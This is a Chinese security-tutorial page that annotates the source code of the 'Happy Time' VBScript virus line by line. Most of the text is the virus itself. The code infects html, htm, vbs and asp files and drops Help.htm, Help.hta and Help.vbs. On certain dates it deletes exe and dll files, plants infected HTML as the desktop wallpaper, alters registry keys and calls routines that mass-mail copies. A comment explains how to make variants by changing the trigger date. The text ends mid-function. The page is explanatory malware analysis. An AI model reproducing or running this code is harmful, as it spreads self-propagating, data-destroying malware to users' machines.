当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > 网页病毒源码解析

安全防护
为Windows 2003安全—层层设防(3)
为Windows 2003安全—层层设防(4)
修改IIS的Banner隐藏操作系统版本
以毒攻毒!IIS Banner巧伪装
四招加强Windows 2003安全性
深入剖析EFS(2)
设置Active Directory域(1)
设置Active Directory域(2)
Rootkit分析(1)
Rootkit分析(2)
Rootkit分析(3)
Windows域信任关系建立全攻略
关于网站木马的解释(1)
关于网站木马的解释(2)
hdsi2.0 sql注入部分抓包(1)
hdsi2.0 sql注入部分抓包(2)
hdsi2.0 sql注入部分抓包(3)
hdsi2.0 sql注入部分抓包(4)
建造永不被杀的80端口后门(1)
建造永不被杀的80端口后门(2)

安全防护 中的 网页病毒源码解析


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-29   浏览: 38 ::
收藏到网摘: n/a

Rem I am sorry! happy time
On Error Resume Next
Mload
'以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
'建立枚举对象,避开了安全审核
If IsHTML Then
'调用IsHtml函数,如果是Html,就小写……
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
'如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
'超文本的内容,并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
'设置超时条件
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
'生成Help.hta
End If
End If
End If
Else
Main
'都不是,就执行main函数
End If
End Sub
主函数
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
'创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
'向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
'使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
'如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
'如果c:\help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
'如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
'就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If
Cn = Rg(Ks & "Help\Count")
'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then
Cn = 1
'如果Count为0,就设为1
End If
Rw Ks & "Help\Count", Cn + 1
'添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2
f1 = Rg(Ks & "Help\FileName")
'再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2 = FNext(Of, Od, f1)
'得到该文件的文件名
fext = GetExt(Of, Od, f2)
'得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2
'添加键值
If IsDel(fext) Then
'如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
'储存文件名
f2 = FNext(Of, Od, f2)
'得到文件的文件名?
Rw Ks & "Help\FileName", f2
'写注册表
Of.DeleteFile f3
'删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
'如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
'使用 Cint函数强制执行转换,并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
'比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
'创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><
" & "/Body><" & "/HTML>" & mt
'超文本的内容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
'将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
'创建vbs文件